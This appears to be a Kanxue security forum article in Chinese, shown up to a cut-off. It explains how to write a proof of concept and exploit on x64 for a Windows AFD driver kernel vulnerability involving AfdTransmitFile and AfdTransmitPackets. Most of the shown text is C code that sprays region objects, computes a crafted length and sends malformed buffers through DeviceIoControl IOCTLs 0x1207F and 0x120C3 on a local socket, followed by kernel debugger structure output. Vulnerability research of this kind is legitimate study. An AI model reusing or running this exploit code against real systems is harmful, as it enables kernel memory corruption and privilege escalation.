本文为看雪论坛精华文章
看雪论坛作者ID:ExploitCN
一
简介
① 本文侧重点在POC、EXP编写,从逆向与调试的角度引领你分析、编写POC、EXP;
② 本文是首篇针对该漏洞在x64平台下的分析、编写文章;
③ 全网最详细POC、EXP的编写说明;
④ EXP完全复用POC的代码;
⑤ 上传的EXP是我自己编写的。
二
POC分析
ULONG CalcLength()
{
int BaseLength = 0x10000;
unsigned __int16 VirtualAddress = 0x13371337;
int FinalLength = 0x0;
while (1)
{
FinalLength = ((BaseLength & 0xFFF) + ((unsigned __int16)VirtualAddress & 0xFFF) + 0xFFF) >> 0xC;
FinalLength = 8 * (FinalLength + (BaseLength>>0xC))+ 0x30;
if (FinalLength == 0x100)
{
break;
}
else
{
BaseLength += 1;
continue;
}
}
return BaseLength;
}
int main()
{
int nBottonRect = 0x2aaaaaa;
while (true)
{
HRGN hrgn = CreateRoundRectRgn(0, 0, 1, nBottonRect, 1, 1);
if (hrgn==NULL)
{
break;
}
printf("hrgn = %p\n", hrgn);
}
//这儿看IoAllocateMdl(ntoskrnl)
DWORD length = CalcLength();
printf("Length = %x\n", length);
DWORD virtualAddress = 0x13371337;
static BYTE inbuf1[0x40];
memset(inbuf1, 0, sizeof(inbuf1));
*(ULONG_PTR*)(inbuf1 + 0x20) = virtualAddress;
*(ULONG*)(inbuf1 + 0x28) = length;
*(ULONG*)(inbuf1 + 0x3c) = 1;
static BYTE inbuf2[0x18];
memset(inbuf2, 0, sizeof(inbuf2));
*(ULONG*)(inbuf2) = 1;
*(ULONG*)(inbuf2 + 0x8) = 0x0AAAAAAA;
WSADATA WSAData;
SOCKET s;
sockaddr_in sa;
int ierr;
WSAStartup(0x2, &WSAData);
s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
memset(&sa, 0, sizeof(sa));
sa.sin_port = htons(135);
sa.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");
sa.sin_family = AF_INET;
ierr = connect(s, (const struct sockaddr*)&sa, sizeof(sa));
DeviceIoControl((HANDLE)s, 0x1207F, (LPVOID)inbuf1, 0x40, NULL, 0, NULL, NULL);
DeviceIoControl((HANDLE)s, 0x120C3, (LPVOID)inbuf2, 0x18, NULL, 0, NULL, NULL);
}
三
x64平台POC编写指导
int nBottonRect = 0x2aaaaaa;
while (true)
{
HRGN hrgn = CreateRoundRectRgn(0, 0, 1, nBottonRect, 1, 1);
if (hrgn==NULL)
{
break;
}
printf("hrgn = %p\n", hrgn);
}
ULONG CalcLength()
{
int BaseLength = 0x10000;
unsigned __int16 VirtualAddress = 0x13371337;
int FinalLength = 0x0;
while (1)
{
FinalLength = ((BaseLength & 0xFFF) + ((unsigned
__int16)VirtualAddress & 0xFFF) + 0xFFF) >> 0xC;
FinalLength = 8 * (FinalLength + (BaseLength>>0xC))+ 0x30;
if (FinalLength == 0x100)
{
break;
}
else
{
BaseLength += 1;
continue;
}
}
return BaseLength;
}
__fastcall AfdTransmitFile(PIRP pIRP, PIO_STACK_LOCATION pIoStackLocation)
__fastcall AfdTransmitPackets(PIRP pIrp, PIO_STACK_LOCATION pIoStackLocation)
kd> dt _io_stack_location
ntdll!_IO_STACK_LOCATION
+0x000 MajorFunction : UChar
+0x001 MinorFunction : UChar
+0x002 Flags : UChar
+0x003 Control : UChar
+0x008 Parameters :
//struct{
// +0x008 ULONG OutputBufferLength;
// +0x010 POINTER_ALIGNMENT InputBufferLength;
// +0x018 POINTER_ALIGNMENT IoControlCode;
// +0x020 Type3InputBuffer
/